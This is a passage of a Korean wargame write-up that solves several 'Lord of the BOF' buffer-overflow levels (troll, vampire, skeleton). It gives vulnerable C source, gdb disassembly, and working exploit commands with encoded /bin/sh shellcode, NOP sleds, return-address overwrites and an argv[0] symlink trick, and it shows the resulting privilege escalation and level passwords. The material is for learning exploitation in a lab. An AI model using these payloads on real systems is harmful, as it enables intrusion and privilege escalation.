16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
0x8048503 <main+3>:	sub    %esp,44
0x8048506 <main+6>:	cmp    DWORD PTR [%ebp+8],2
0x804850a <main+10>:	je     0x8048523 <main+35>
0x804850c <main+12>:	push   0x8048690
0x8048511 <main+17>:	call   0x8048410 <printf>
0x8048516 <main+22>:	add    %esp,4
0x8048519 <main+25>:	push   0
0x804851b <main+27>:	call   0x8048420 <exit>
0x8048520 <main+32>:	add    %esp,4
0x8048523 <main+35>:	nop
0x8048524 <main+36>:	mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>:	nop
0x804852c <main+44>:	lea    %esi,[%esi*1]
0x8048530 <main+48>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>:	lea    %edx,[%eax*4]
0x804853a <main+58>:	mov    %eax,%ds:0x80497cc
0x804853f <main+63>:	cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>:	jne    0x8048547 <main+71>
0x8048545 <main+69>:	jmp    0x8048587 <main+135>
0x8048547 <main+71>:	mov    %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>:	lea    %edx,[%eax*4]
0x8048551 <main+81>:	mov    %eax,%ds:0x80497cc
0x8048556 <main+86>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>:	push   %edx
0x804855a <main+90>:	call   0x80483f0 <strlen>
0x804855f <main+95>:	add    %esp,4
0x8048562 <main+98>:	mov    %eax,%eax
0x8048564 <main+100>:	push   %eax
0x8048565 <main+101>:	push   0
0x8048567 <main+103>:	mov    %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>:	lea    %edx,[%eax*4]
0x8048571 <main+113>:	mov    %eax,%ds:0x80497cc
0x8048576 <main+118>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>:	push   %edx
0x804857a <main+122>:	call   0x8048430 <memset>
0x804857f <main+127>:	add    %esp,12
0x8048582 <main+130>:	inc    DWORD PTR [%ebp-44]
0x8048585 <main+133>:	jmp    0x8048530 <main+48>
0x8048587 <main+135>:	mov    %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>:	add    %eax,4
0x804858d <main+141>:	mov    %edx,DWORD PTR [%eax]
0x804858f <main+143>:	add    %edx,47
0x8048592 <main+146>:	cmp    BYTE PTR [%edx],0xbf
0x8048595 <main+149>:	je     0x80485b0 <main+176>
0x8048597 <main+151>:	push   0x80486a3
0x804859c <main+156>:	call   0x8048410 <printf>
0x80485a1 <main+161>:	add    %esp,4
0x80485a4 <main+164>:	push   0
0x80485a6 <main+166>:	call   0x8048420 <exit>
0x80485ab <main+171>:	add    %esp,4
0x80485ae <main+174>:	mov    %esi,%esi
0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	call   0x80483f0 <strlen>
0x80485be <main+190>:	add    %esp,4
0x80485c1 <main+193>:	mov    %eax,%eax
0x80485c3 <main+195>:	cmp    %eax,48
0x80485c6 <main+198>:	jbe    0x80485e0 <main+224>
0x80485c8 <main+200>:	push   0x80486c0
0x80485cd <main+205>:	call   0x8048410 <printf>
0x80485d2 <main+210>:	add    %esp,4
0x80485d5 <main+213>:	push   0
0x80485d7 <main+215>:	call   0x8048420 <exit>
0x80485dc <main+220>:	add    %esp,4
0x80485df <main+223>:	nop
0x80485e0 <main+224>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485e3 <main+227>:	add    %eax,4
0x80485e6 <main+230>:	mov    %edx,DWORD PTR [%eax]
0x80485e8 <main+232>:	push   %edx
0x80485e9 <main+233>:	lea    %eax,[%ebp-40]
0x80485ec <main+236>:	push   %eax
0x80485ed <main+237>:	call   0x8048440 <strcpy>
0x80485f2 <main+242>:	add    %esp,8
0x80485f5 <main+245>:	lea    %eax,[%ebp-40]
0x80485f8 <main+248>:	push   %eax
0x80485f9 <main+249>:	push   0x80486d7
0x80485fe <main+254>:	call   0x8048410 <printf>
0x8048603 <main+259>:	add    %esp,8
0x8048606 <main+262>:	push   40
0x8048608 <main+264>:	push   0
0x804860a <main+266>:	lea    %eax,[%ebp-40]
0x804860d <main+269>:	push   %eax
0x804860e <main+270>:	call   0x8048430 <memset>
0x8048613 <main+275>:	add    %esp,12
0x8048616 <main+278>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048619 <main+281>:	add    %eax,4
0x804861c <main+284>:	mov    %edx,DWORD PTR [%eax]
0x804861e <main+286>:	push   %edx
0x804861f <main+287>:	call   0x80483f0 <strlen>
0x8048624 <main+292>:	add    %esp,4
0x8048627 <main+295>:	mov    %eax,%eax
0x8048629 <main+297>:	push   %eax
0x804862a <main+298>:	push   0
0x804862c <main+300>:	mov    %eax,DWORD PTR [%ebp+12]
0x804862f <main+303>:	add    %eax,4
0x8048632 <main+306>:	mov    %edx,DWORD PTR [%eax]
0x8048634 <main+308>:	push   %edx
0x8048635 <main+309>:	call   0x8048430 <memset>
0x804863a <main+314>:	add    %esp,12
0x804863d <main+317>:	leave
0x804863e <main+318>:	ret
0x804863f <main+319>:	nop

여기서 부터 재밌는게 이 문제는 argv[0]에 쉘 코드를 입력하여, 풀어야 한다. b *main+3 정도에 브프를 걸고 x/1000s $esp 시 특정 메모리 영역에서 부터 환경 변수가 노출되게 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
0xbffffe29:	 "i686"
0xbffffe2e:	 "/tmp/troll"
0xbffffe39:	 "123"
0xbffffe3d:	 "PWD=/home/orge"
0xbffffe4c:	 "REMOTEHOST=192.168.248.1"
0xbffffe65:	 "HOSTNAME=localhost.localdomain"
0xbffffe84:	 "LESSOPEN=|/usr/bin/lesspipe.sh %s"
---Type <return> to continue, or q <return> to quit---
0xbffffea6:	 "USER=orge"
0xbffffeb0:	 "LS_COLORS="
0xbffffebb:	 "MACHTYPE=i386-redhat-linux-gnu"
0xbffffeda:	 "MAIL=/var/spool/mail/orge"
0xbffffef4:	 "INPUTRC=/etc/inputrc"
0xbfffff09:	 "BASH_ENV=/home/orge/.bashrc"
0xbfffff25:	 "LANG=en_US"
0xbfffff30:	 "LOGNAME=orge"
0xbfffff3d:	 "SHLVL=1"
0xbfffff45:	 "SHELL=/bin/bash2"
0xbfffff56:	 "USERNAME="
0xbfffff60:	 "HOSTTYPE=i386"
0xbfffff6e:	 "OSTYPE=linux-gnu"
0xbfffff7f:	 "HISTSIZE=1000"
0xbfffff8d:	 "TERM=xterm-256color"
0xbfffffa1:	 "HOME=/home/orge"
0xbfffffb1:	 "PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/orge/bin"
0xbffffff1:	 "/tmp/troll"

이 주소는 egghunter 함수에 의해서 초기화가 된다. 확인을 해보면 아래와 같다.

1
2
3
(gdb) r `python -c 'print "A"*47+"\xbf"'`
Starting program: /tmp/troll `python -c 'print "A"*47+"\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�

이런식으로 segmentation fault를 유도하고 다시 메모리 확인해보자.

1
2
0xbffffdfc:	 "i686"
0xbffffe01:	 "/tmp/troll"

우리가 입력한 argv[0]의 값이 메모리에 그대로 남게 되는데, 메모리 주소는 변경된다…. 무튼

3. exploit code

1
2
3
4
5
6
cp troll /tmp/troll
gdb -q /tmp/troll

b *main+317
r `python -c 'print "A"*44+"BBB\xbf"'`
x/10000s $esp

위와 같이 입력 시 argv[0]의 위치를 알 수 있다.

1
2
3
0xbffffdfc:	 "i686"
0xbffffe01:	 "/tmp/troll"
0xbffffff1:	 "/tmp/troll"

argv[0]인 /tmp/troll의 위치는 0xbffffe01, 0xbffffff1

1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

여기에 위의 쉘 코드를 넣게 되면 어떨까?

1
cp  ~/troll `python -c 'print  "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

위와 같이 파일 복사

1
./`python -c 'print  "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`

파일 실행을 하면 segment 오류가 발생한다. gdb -q -c core 명령어를 이용하여 x/1000s $esp 를 확인해 본다.

1
2
0xbffffb24:	 "./", '\220' <repeats 198 times>..
0xbfffff01:	 "./", '\220' <repeats 198 times>...

nop을 많이 넣게 되고 마지막 argv[0] 값이 커널 메모리를 건드리므로 오류가 발생한다.

1
./`python -c 'print  "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*44+"\x24\xfb\xff\xbf"'`

argv[0]이 담겨져 있는 메모리의 주소를 RET 부분에 덮어 씌우면 쉘이 뜨게 된다.

1
2
3
4
5
bash$ id
uid=507(orge) gid=507(orge) groups=507(orge)
bash$ my-pass
euid = 507
timewalker

하지만… 이렇게 되기 때문에 현재의 권한을 위해 심볼링 링크를 걸어줘야 한다.

1
2
3
ln -sf ~/troll `python -c 'print  "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`*

./`python -c 'print  "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`* `python -c 'print "A"*44+"\x24\xfb\xff\xbf"'`

이렇게 payload를 입력하게 되면!!!

1
2
3
4
5
6
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$���
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin

드디어 성공…. 개삽질했다 이번껀은…너무 힘들었음

명령어 옵션은 아래의 참고한 블로그 내용을 보면 알 수 있다.

ln 사용 시 -f 는 파일이 존재해도 무시하는 옵션이고, ``를 닫고 *를 쓴 것은, *을 와일드 카드로 사용한 것이다.

rm *를 하면 디렉토리 내 모든 파일을 삭제하는 명령이듯이, \x90로 시작하는 모든 파일을 가리키는 것이다.

링크할 때도, 실행할 때도 저렇게 사용할 수 있다.

그리고 RET 영역을 0xbffff946으로 변조해도 쉘이 잘 실행된다. ‘./’을 기계어로 취급하여 수행해도 쉘코드 실행에 문제가 되지 않기 때문이다.

출처: http://ssaemo.tistory.com/19 [뾰족뾰족]

troll

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);
}

소스코드를 보면… argv[1][46] 부분이 \xff가 되면 안되는 듯 하다… 이떄까지는 0xbfffff28 등.. 중간 값들이 ff 로 되었는데 어떻게 변경할 수 있을까? 계산기를 통해 계산을 해보자…

0xbfffffff-0xbffeffff = 0x10000 = 65536

이렇게 빼면되지 않을까? 라는 생각을 먼저 해보았다.

2. gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,40
0x8048436 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:	jg     0x8048453 <main+35>
0x804843c <main+12>:	push   0x8048520
0x8048441 <main+17>:	call   0x8048350 <printf>
0x8048446 <main+22>:	add    %esp,4
0x8048449 <main+25>:	push   0
0x804844b <main+27>:	call   0x8048360 <exit>
0x8048450 <main+32>:	add    %esp,4
0x8048453 <main+35>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:	add    %eax,4
0x8048459 <main+41>:	mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:	add    %edx,47
0x804845e <main+46>:	cmp    BYTE PTR [%edx],0xbf
0x8048461 <main+49>:	je     0x8048480 <main+80>
0x8048463 <main+51>:	push   0x804852c
0x8048468 <main+56>:	call   0x8048350 <printf>
0x804846d <main+61>:	add    %esp,4
0x8048470 <main+64>:	push   0
0x8048472 <main+66>:	call   0x8048360 <exit>
0x8048477 <main+71>:	add    %esp,4
0x804847a <main+74>:	lea    %esi,[%esi]
0x8048480 <main+80>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048483 <main+83>:	add    %eax,4
0x8048486 <main+86>:	mov    %edx,DWORD PTR [%eax]
0x8048488 <main+88>:	add    %edx,46
0x804848b <main+91>:	cmp    BYTE PTR [%edx],0xff
0x804848e <main+94>:	jne    0x80484a7 <main+119>
0x8048490 <main+96>:	push   0x8048549
0x8048495 <main+101>:	call   0x8048350 <printf>
0x804849a <main+106>:	add    %esp,4
0x804849d <main+109>:	push   0
0x804849f <main+111>:	call   0x8048360 <exit>
0x80484a4 <main+116>:	add    %esp,4
0x80484a7 <main+119>:	mov    %eax,DWORD PTR [%ebp+12]
0x80484aa <main+122>:	add    %eax,4
0x80484ad <main+125>:	mov    %edx,DWORD PTR [%eax]
0x80484af <main+127>:	push   %edx
0x80484b0 <main+128>:	lea    %eax,[%ebp-40]
0x80484b3 <main+131>:	push   %eax
0x80484b4 <main+132>:	call   0x8048370 <strcpy>
0x80484b9 <main+137>:	add    %esp,8
0x80484bc <main+140>:	lea    %eax,[%ebp-40]
0x80484bf <main+143>:	push   %eax
0x80484c0 <main+144>:	push   0x804855f
0x80484c5 <main+149>:	call   0x8048350 <printf>
0x80484ca <main+154>:	add    %esp,8
0x80484cd <main+157>:	leave
0x80484ce <main+158>:	ret
0x80484cf <main+159>:	nop

3. exploit code

payload는 이렇다.. 스택은 높은 주소에서 낮은 주소로 스택이 쌓이기 때문에 A를 44개 넣고 \xbf\xbf\xbf\xbf eip 주소를 넣게 되면 기본적인 payload가 만들어지게 되고 argv[1][49] 부분 부터 nop 슬라이드와 쉘 코드를 삽입하게 되는데 이때 nop을 \xbffeffff 만큼 넣어줘야 하므로… 65536 이상 넣어주게 된다.

1
./vampire `python - c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*65536+"\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

위와 같은 payload를 먼저 실행 시키게 되면, segmentation 오류가 발생하고 coredump를 통해 esp 주소를 확인하게 되면

1
2
3
4
5
6
[troll@localhost tmp]$ gdb -q -c core
Core was generated by `�������������������������������������������������������������������������������'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/x $esp
0xbffe75d0:	0x90909090

nop가 시작하는 주소는 0xbffe75d0 이므로 해당 주소를 payload 내 RET 부분에 넣어 최종 exploit payload를 짜게 되면

1
./vampire `python -c 'print "A"*44+"\xd0\x75\xfe\xbf"+"\x90"*100000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

위와 같이 되고 실행 시키게 되면 끝!

1
2
3
4
5
bash$ id
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world

vampire

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
        The Lord of the BOF : The Fellowship of the BOF
        - skeleton
        - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i, saved_argc;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// egghunter
	for(i=0; environ[i]; i++)
		memset(environ[i], 0, strlen(environ[i]));

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	// check the length of argument
	if(strlen(argv[1]) > 48){
		printf("argument is too long!\n");
		exit(0);
	}

	// argc saver
	saved_argc = argc;

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);

	// ultra argv hunter!
	for(i=0; i<saved_argc; i++)
		memset(argv[i], 0, strlen(argv[i]));
}

argv[0],argv[1]의 값이 ultra argv hunter 기능을 통해 0 으로 memset이 되버린다..

2. gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
0x8048500 <main>:	push   %ebp
0x8048501 <main+1>:	mov    %ebp,%esp
0x8048503 <main+3>:	sub    %esp,48
0x8048506 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804850a <main+10>:	jg     0x8048523 <main+35>
0x804850c <main+12>:	push   0x80486d0
0x8048511 <main+17>:	call   0x8048410 <printf>
0x8048516 <main+22>:	add    %esp,4
0x8048519 <main+25>:	push   0
0x804851b <main+27>:	call   0x8048420 <exit>
0x8048520 <main+32>:	add    %esp,4
0x8048523 <main+35>:	nop
0x8048524 <main+36>:	mov    DWORD PTR [%ebp-44],0x0
0x804852b <main+43>:	nop
0x804852c <main+44>:	lea    %esi,[%esi*1]
0x8048530 <main+48>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>:	lea    %edx,[%eax*4]
0x804853a <main+58>:	mov    %eax,%ds:0x8049804
0x804853f <main+63>:	cmp    DWORD PTR [%eax+%edx],0
0x8048543 <main+67>:	jne    0x8048547 <main+71>
0x8048545 <main+69>:	jmp    0x8048587 <main+135>
0x8048547 <main+71>:	mov    %eax,DWORD PTR [%ebp-44]
0x804854a <main+74>:	lea    %edx,[%eax*4]
0x8048551 <main+81>:	mov    %eax,%ds:0x8049804
0x8048556 <main+86>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048559 <main+89>:	push   %edx
0x804855a <main+90>:	call   0x80483f0 <strlen>
0x804855f <main+95>:	add    %esp,4
0x8048562 <main+98>:	mov    %eax,%eax
0x8048564 <main+100>:	push   %eax
0x8048565 <main+101>:	push   0
0x8048567 <main+103>:	mov    %eax,DWORD PTR [%ebp-44]
0x804856a <main+106>:	lea    %edx,[%eax*4]
0x8048571 <main+113>:	mov    %eax,%ds:0x8049804
0x8048576 <main+118>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048579 <main+121>:	push   %edx
0x804857a <main+122>:	call   0x8048430 <memset>
0x804857f <main+127>:	add    %esp,12
0x8048582 <main+130>:	inc    DWORD PTR [%ebp-44]
0x8048585 <main+133>:	jmp    0x8048530 <main+48>
0x8048587 <main+135>:	mov    %eax,DWORD PTR [%ebp+12]
0x804858a <main+138>:	add    %eax,4
0x804858d <main+141>:	mov    %edx,DWORD PTR [%eax]
0x804858f <main+143>:	add    %edx,47
0x8048592 <main+146>:	cmp    BYTE PTR [%edx],0xbf
0x8048595 <main+149>:	je     0x80485b0 <main+176>
0x8048597 <main+151>:	push   0x80486dc
0x804859c <main+156>:	call   0x8048410 <printf>
0x80485a1 <main+161>:	add    %esp,4
0x80485a4 <main+164>:	push   0
0x80485a6 <main+166>:	call   0x8048420 <exit>
0x80485ab <main+171>:	add    %esp,4
0x80485ae <main+174>:	mov    %esi,%esi
0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	call   0x80483f0 <strlen>
0x80485be <main+190>:	add    %esp,4
0x80485c1 <main+193>:	mov    %eax,%eax
0x80485c3 <main+195>:	cmp    %eax,48
0x80485c6 <main+198>:	jbe    0x80485e0 <main+224>
0x80485c8 <main+200>:	push   0x80486f9
0x80485cd <main+205>:	call   0x8048410 <printf>
0x80485d2 <main+210>:	add    %esp,4
0x80485d5 <main+213>:	push   0
0x80485d7 <main+215>:	call   0x8048420 <exit>
0x80485dc <main+220>:	add    %esp,4
0x80485df <main+223>:	nop
0x80485e0 <main+224>:	mov    %eax,DWORD PTR [%ebp+8]
0x80485e3 <main+227>:	mov    DWORD PTR [%ebp-48],%eax
0x80485e6 <main+230>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485e9 <main+233>:	add    %eax,4
0x80485ec <main+236>:	mov    %edx,DWORD PTR [%eax]
0x80485ee <main+238>:	push   %edx
0x80485ef <main+239>:	lea    %eax,[%ebp-40]
0x80485f2 <main+242>:	push   %eax
0x80485f3 <main+243>:	call   0x8048440 <strcpy>
0x80485f8 <main+248>:	add    %esp,8
0x80485fb <main+251>:	lea    %eax,[%ebp-40]
0x80485fe <main+254>:	push   %eax
0x80485ff <main+255>:	push   0x8048710
0x8048604 <main+260>:	call   0x8048410 <printf>
0x8048609 <main+265>:	add    %esp,8
0x804860c <main+268>:	push   40
0x804860e <main+270>:	push   0
0x8048610 <main+272>:	lea    %eax,[%ebp-40]
0x8048613 <main+275>:	push   %eax
0x8048614 <main+276>:	call   0x8048430 <memset>
0x8048619 <main+281>:	add    %esp,12
0x804861c <main+284>:	mov    DWORD PTR [%ebp-44],0x0
0x8048623 <main+291>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048626 <main+294>:	cmp    %eax,DWORD PTR [%ebp-48]
0x8048629 <main+297>:	jl     0x8048630 <main+304>
0x804862b <main+299>:	jmp    0x8048670 <main+368>
0x804862d <main+301>:	lea    %esi,[%esi]
0x8048630 <main+304>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048633 <main+307>:	lea    %edx,[%eax*4]
0x804863a <main+314>:	mov    %eax,DWORD PTR [%ebp+12]
0x804863d <main+317>:	mov    %edx,DWORD PTR [%eax+%edx]
0x8048640 <main+320>:	push   %edx
0x8048641 <main+321>:	call   0x80483f0 <strlen>
0x8048646 <main+326>:	add    %esp,4
0x8048649 <main+329>:	mov    %eax,%eax
0x804864b <main+331>:	push   %eax
0x804864c <main+332>:	push   0
0x804864e <main+334>:	mov    %eax,DWORD PTR [%ebp-44]
0x8048651 <main+337>:	lea    %edx,[%eax*4]
0x8048658 <main+344>:	mov    %eax,DWORD PTR [%ebp+12]
0x804865b <main+347>:	mov    %edx,DWORD PTR [%eax+%edx]
0x804865e <main+350>:	push   %edx
0x804865f <main+351>:	call   0x8048430 <memset>
0x8048664 <main+356>:	add    %esp,12
0x8048667 <main+359>:	inc    DWORD PTR [%ebp-44]
0x804866a <main+362>:	jmp    0x8048623 <main+291>
0x804866c <main+364>:	lea    %esi,[%esi*1]
0x8048670 <main+368>:	leave
0x8048671 <main+369>:	ret
0x8048672 <main+370>:	nop
0x8048673 <main+371>:	nop
0x8048674 <main+372>:	nop
0x8048675 <main+373>:	nop
0x8048676 <main+374>:	nop
0x8048677 <main+375>:	nop
0x8048678 <main+376>:	nop
0x8048679 <main+377>:	nop
0x804867a <main+378>:	nop
0x804867b <main+379>:	nop
0x804867c <main+380>:	nop
0x804867d <main+381>:	nop
0x804867e <main+382>:	nop
0x804867f <main+383>:	nop

3. exploit code

0xbfffff97

1
cp  ~/skeleton `python -c 'print  "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
1
ln -sf ~/skeleton `python -c 'print  "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`
1
./`python -c 'print  "\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'` `python -c 'print "A"*44+"\x97\xff\xff\xbf"'`
1
2
3
4
5
bash$ id
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
bash$ my-pass
euid = 510
shellcoder

skeleton

1. source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

stack destroyer란 부분이 추가 되었는데…. argv[0], arvg[1] 도 입력할 수 없다… 그러면 다른 방법을 이용하여, 스택에 쉘 코드를 넣어야 하는데… 어떻게 할까.. 방법을 찾아 보니 스택영역에 라이브러리를 추가할 수 있는 환경 변수가 존재하였다.

그 환경 변수는 바로 : “LD_PRELOAD” 이다

export 명령어를 통해 등록을 할 수 있으며, 등록 명령어 : export LD_PRELOAD=”test.so” 삭제 명령어 : export -n LD_PRELOAD=”test.so” 확인 명령어 : export

2. gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
0x8048470 <main>:	push   %ebp
0x8048471 <main+1>:	mov    %ebp,%esp
0x8048473 <main+3>:	sub    %esp,44
0x8048476 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804847a <main+10>:	jg     0x8048493 <main+35>
0x804847c <main+12>:	push   0x8048570
0x8048481 <main+17>:	call   0x8048378 <printf>
0x8048486 <main+22>:	add    %esp,4
0x8048489 <main+25>:	push   0
0x804848b <main+27>:	call   0x8048388 <exit>
0x8048490 <main+32>:	add    %esp,4
0x8048493 <main+35>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048496 <main+38>:	add    %eax,4
0x8048499 <main+41>:	mov    %edx,DWORD PTR [%eax]
0x804849b <main+43>:	add    %edx,47
0x804849e <main+46>:	cmp    BYTE PTR [%edx],0xbf
